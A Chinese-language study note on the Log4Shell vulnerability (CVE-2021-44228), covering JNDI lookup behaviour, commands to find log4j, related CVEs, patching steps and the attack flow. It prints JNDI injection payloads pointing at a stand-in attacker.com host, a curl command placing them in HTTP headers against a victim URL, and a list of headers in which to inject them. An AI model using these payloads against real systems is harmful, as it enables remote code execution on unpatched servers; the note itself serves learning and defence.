--- tags: security, apache --- # Log4Shell漏洞筆記 參考網路各來源 ## What is Log4j Apache Log4j是一個基於Java的紀錄檔記錄工具 Apache Log4j 2 是對 Log4j 的升級,它比其前身 Log4j 1.x 提供了重大改進,並提供了 Logback 中可用的許多改進,同時修復了 Logback 架構中的一些固有問題 ## CVE-2021-44228 編號CVE-2021-44228的漏洞發生於開源日誌資料庫Log4j。Log4j的JNDI功能可用於組態、紀錄訊息,包含於許多軟體專案中,包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Elasticsearch、Logstash等等 CVE-2021-44228的漏洞在於log4j 在記錄 log 時,如果記錄到特定格式的東西,就會去執行相對應的程式碼,藉由一個條件表達式\${some_expression}來查尋某些字串並執行取代動作。 Log4j 是根據配置文件中設定的「模板」來記錄Log的。 例如在模板裡寫 ${date:yyyy-MM-dd},那麽 Log4j 就會將其替換為 2021-12-12 的當前日期記錄下來 Log4j 可查詢的內容包括 jndi、sys、env、java、lower、upper。 JNDI查詢支援的通訊協定包括 LDAP、RMI、DNS 和 IIOP。 所以,駭客可在記錄檔中加入一筆 JNDI 查詢表達式例如 **${jndi:ldap://xxx.attacker.com/exp}** ,如果網址列含有惡意程式則會下載執行。 ## How to find? `dpkg -l |grep log4j` `find / -name log4j-core-*.jar` `locate log4j | grep -v log4js` ## 延伸的弱點 漏洞 CVE-2021-45046、CVE-2021-45105 https://logging.apache.org/log4j/2.x/ Log4j 2.17 CVE-2021-44832 https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/ ## 修補方式 1. 升級至2.17 2. 無法升級者,應將系統屬性log4j2.formatMsgNoLookups參數由”false”改為”true”。 3. 使用2.10以前版本者,則應從classpath移除JndiLookup class,例如執行以下指令: `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` ## 示意圖 ![](https://i.imgur.com/EeVpXUc.png) Ref:https://blog.csdn.net/hilaryfrank/article/details/121939902 1. 駭客可以在header的任意參數塞payload,只要log會記錄到就好(參考備註1) e.g. `curl -H 'User-Agent: ${jndi:ldap://attacker.com}' -H 'X-Api-Version:${jndi:ldap://attacker.com}' 'victim_url'` 2. 攻擊成功前提是 一、要能解析ldap://**xxx.attacker.com** 的網址 二、能調用java的lookup class 3. Java層Ldap query to localhost:9999,localhost:9999 response 惡意的Codebase地址(localhost:8888/Test.class)給JAVA層 4. Java層 request to localhost:8888/Test.class,下載Test.class回來後在local端執行惡意class ## jndi Java Name and Directory Interface 除了LDAP外,RMI也可以 ![](https://i.imgur.com/YfpyHeN.png) 圖片來源:https://blog.csdn.net/weixin_45677145/article/details/121990244 ![](https://i.imgur.com/lsAiRoe.png) 參考:https://blogs.juniper.net/en-us/threat-research/log4j-vulnerability-attackers-shift-focus-from-ldap-to-rmi RMI(Java Remote Method Invocation) 是Java程式語言裡,一種用於實現遠端程序呼叫的應用程式編程介面。它使client上執行的程式可以呼叫遠端server上的物件。遠端方法呼叫特性使Java編程人員能夠在網路環境中分布操作。RMI全部的宗旨就是儘可能簡化遠端介面物件的使用。 ## Cheetsheet ![](https://i.imgur.com/P09VZDz.png) @therceman --- ### 備註1: **Malicious requests in different headers** User-Agent: Authorization: CF-Connecting_IP: Client-IP: Contact: Cookie: Forwarded-For-Ip: Forwarded-For: Forwarded: From: Originating-IP: Proxy-Client-IP: Referer: True-Client-IP: X-Api-Version: X-Client-IP: X-Client-Ip: X-Forwarded-For: X-Host: X-Originating-Ip: X-Real-IP: X-Remote-Addr: X-Remote-Ip: X-Wap-Profile: Ref: https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns